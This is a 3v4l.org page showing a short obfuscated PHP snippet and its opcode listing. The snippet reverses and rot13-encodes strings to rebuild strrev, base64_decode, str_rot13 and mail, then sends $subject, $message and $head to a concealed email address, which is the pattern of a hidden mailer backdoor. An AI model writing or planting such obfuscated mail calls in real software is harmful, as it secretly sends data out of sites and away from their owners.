3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_edit = "strr";$_edit.="ev"; $__access = "e"."d";$__access .= "o"."c"."e"."d"."4"; $__access .= "6"."e"."s"."a"."b"; $_access = $_edit($__access);$_reenter = $_edit("31"."tor"."_rts"); $_view = $_edit('l'.'i'.'a'.'m'); $_view($_edit($_reenter('zb'.$_edit("y"."."."p").'v'.'n'.'z'.'t'.base64_decode("Q"."A"."="."=").'a'.'n'.'t'.$_reenter('o'.'c'.'t').'y'.'h'.'f'.'r'.'e')),$subject,$message,$head); echo $_view ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/1796d
function name:  (null)
number of ops:  55
compiled vars:  !0 = $_edit, !1 = $__access, !2 = $_access, !3 = $_reenter, !4 = $_view, !5 = $subject, !6 = $message, !7 = $head
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 'strr'
          1        ASSIGN_OP                                     8          !0, 'ev'
    3     2        ASSIGN                                                   !1, 'ed'
          3        ASSIGN_OP                                     8          !1, 'oced4'
    4     4        ASSIGN_OP                                     8          !1, '6esab'
    5     5        INIT_DYNAMIC_CALL                                        !0
          6        SEND_VAR_EX                                              !1
          7        DO_FCALL                                      0  $13     
          8        ASSIGN                                                   !2, $13
          9        INIT_DYNAMIC_CALL                                        !0
         10        SEND_VAL_EX                                              '31tor_rts'
         11        DO_FCALL                                      0  $15     
         12        ASSIGN                                                   !3, $15
    6    13        INIT_DYNAMIC_CALL                                        !0
         14        SEND_VAL_EX                                              'liam'
         15        DO_FCALL                                      0  $17     
         16        ASSIGN                                                   !4, $17
    7    17        INIT_DYNAMIC_CALL                                        !4
         18        INIT_DYNAMIC_CALL                                        !0
         19        INIT_DYNAMIC_CALL                                        !3
         20        INIT_DYNAMIC_CALL                                        !0
         21        SEND_VAL_EX                                              'y.p'
         22        DO_FCALL                                      0  $19     
         23        CONCAT                                           ~20     'zb', $19
         24        CONCAT                                           ~21     ~20, 'v'
         25        CONCAT                                           ~22     ~21, 'n'
         26        CONCAT                                           ~23     ~22, 'z'
         27        CONCAT                                           ~24     ~23, 't'
         28        INIT_FCALL                                               'base64_decode'
         29        SEND_VAL                                                 'QA%3D%3D'
         30        DO_ICALL                                         $25     
         31        CONCAT                                           ~26     ~24, $25
         32        CONCAT                                           ~27     ~26, 'a'
         33        CONCAT                                           ~28     ~27, 'n'
         34        CONCAT                                           ~29     ~28, 't'
         35        INIT_DYNAMIC_CALL                                        !3
         36        SEND_VAL_EX                                              'oct'
         37        DO_FCALL                                      0  $30     
         38        CONCAT                                           ~31     ~29, $30
         39        CONCAT                                           ~32     ~31, 'y'
         40        CONCAT                                           ~33     ~32, 'h'
         41        CONCAT                                           ~34     ~33, 'f'
         42        CONCAT                                           ~35     ~34, 'r'
         43        CONCAT                                           ~36     ~35, 'e'
         44        SEND_VAL_EX                                              ~36
         45        DO_FCALL                                      0  $37     
         46        SEND_VAR_NO_REF_EX                                       $37
         47        DO_FCALL                                      0  $38     
         48        SEND_VAR_NO_REF_EX                                       $38
         49        SEND_VAR_EX                                              !5
         50        SEND_VAR_EX                                              !6
         51        SEND_VAR_EX                                              !7
         52        DO_FCALL                                      0          
    9    53        ECHO                                                     !4
   10    54      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
160.51 ms | 1392 KiB | 15 Q